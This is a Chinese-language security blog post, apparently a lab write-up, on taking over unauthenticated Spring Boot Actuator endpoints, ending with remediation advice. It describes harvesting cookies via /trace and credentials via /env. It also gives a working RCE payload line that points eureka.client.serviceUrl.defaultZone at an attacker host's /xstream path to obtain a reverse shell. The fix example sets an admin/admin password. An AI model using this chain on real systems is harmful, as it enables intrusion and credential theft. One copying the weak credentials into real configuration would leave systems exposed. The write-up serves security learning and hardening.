1. 程式人生 > 其它 >Spring Boot Actuator從未授權訪問到getshell

Spring Boot Actuator從未授權訪問到getshell

前言

部門大佬在某src上挖到了這個漏洞,是一個比較老的洞了,我覺得有點意思,就動手在本地搭了個環境測試一下。

Actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模組,藉助於 Actuator 開發者可以很方便地對應用系統某些監控指標進行檢視、統計等。在 Actuator 啟用的情況下,如果沒有做好相關許可權控制,非法使用者可通過訪問預設的執行器端點(endpoints)來獲取應用系統中的監控資訊,從而導致資訊洩露甚至伺服器被接管的事件發生。

如上所示,actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模組。其提供的執行器端點分為兩類:原生端點和使用者自定義擴充套件端點,原生端點主要有:

利用思路

①利用env加refresh進行getshell

②利用mappings,尋找未授權介面

③利用trace,獲取認證資訊(Cookie、tooken、Session),利用認證資訊訪問介面。

④ env有可能洩露的資料庫賬號密碼(mangodb),當然得開放外網,可能性較小。

⑤老外說可以執行sql語句,目前沒搞明白

漏洞發現

通常識別當前 web 應用使用的框架為 springboot 框架。主要有兩個方法判斷:

①通過 web 應用程式網頁標籤的圖示(favicon.ico);如果 web 應用開發者沒有修改 springboot web 應用的預設圖示,那麼進入應用首頁後可以看到如下預設的綠色小圖示:

②通過 springboot 框架預設報錯頁面;如果 web 應用開發者沒有修改 springboot web 應用的預設 4xx、5xx 報錯頁面,那麼當 web 應用程式出現 4xx、5xx 錯誤時,會報錯如下(此處僅以 404 報錯頁面為例):

訪問一個隨便構造的路徑,比如:http:/172.26.2.24:8090/index,出現如下報錯頁面說明web網站使用了springboot框架(在實際中遇到的大多數都是此類情況)。

綜合以上兩個途徑來判斷當前 web 應用是否是 springboot 框架,就是通過訪問不同的目錄,看是否有小綠葉圖示,然後就是想辦法在不同目錄下觸發應用程式的 4xx 或 5xx 錯誤,看是否有 Whitelabel Error Page 報錯。

漏洞利用

訪問/trace端點獲取基本的 HTTP 請求跟蹤資訊(時間戳、HTTP 頭等),如果存在登入使用者的操作請求,可以偽造cookie進行登入。

訪問/env端點獲取全部環境屬性,由於actuator 會監控站點 mysql、mangodb 之類的資料庫服務,所以通過監控資訊有時可以mysql、mangodb 資料庫資訊,如果資料庫正好開放在公網,那麼造成的危害是巨大的,

/env端點配置不當造成RCE,前置條件:Eureka-Client <1.8.7(多見於Spring Cloud Netflix)比如測試前臺json報錯洩露包名就是使用netflix

需要以下兩個包

spring-boot-starter-actuator(/refresh重新整理配置需要)

spring-cloud-starter-netflix-eureka-client(功能依賴)

利用python3啟動指令碼,需要注意兩個地方,一個為接收shell的ip和埠,另一個為我們指令碼啟動的埠,

Nc監聽一個埠用以接收反彈shell,

寫入配置,訪問/env端點,抓包將get請求改為post請求,post內容為

(該ip為指令碼啟動的機器的ip)

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

然後再訪問/refresh,抓包將get請求更改為post請求,post資料隨意,

然後在我們nc的視窗可以看到成功反彈了一個shell回來。

漏洞修復

作為一名安全dog,不能只挖不修,在專案的pom.xml檔案下引入spring-boot-starter-security依賴


<dependency>
 <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-security</artifactId>
</dependency>

然後在application.properties中開啟security功能,配置訪問賬號密碼,重啟應用即可彈出。


management.security.enabled=true
security.user.name=admin
security.user.password=admin

禁用介面,則可設定如下(如禁用env介面):

endpoints.env.enabled= false

問題

老外說可以執行sql語句發現執行不了,可能方法沒用對,截了個他的圖,希望有執行成功的大佬分享下。

實際環境中,發現很多無refresh ,導致無法執行命令目前還沒突破

Springboot未授權訪問(Actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模組,非法使用者可通過訪問預設的執行器端點(endpoints)來獲取應用系統中的監控資訊從而導致資訊洩露的事件發生)

合天智匯:合天網路靶場、網安實戰虛擬環境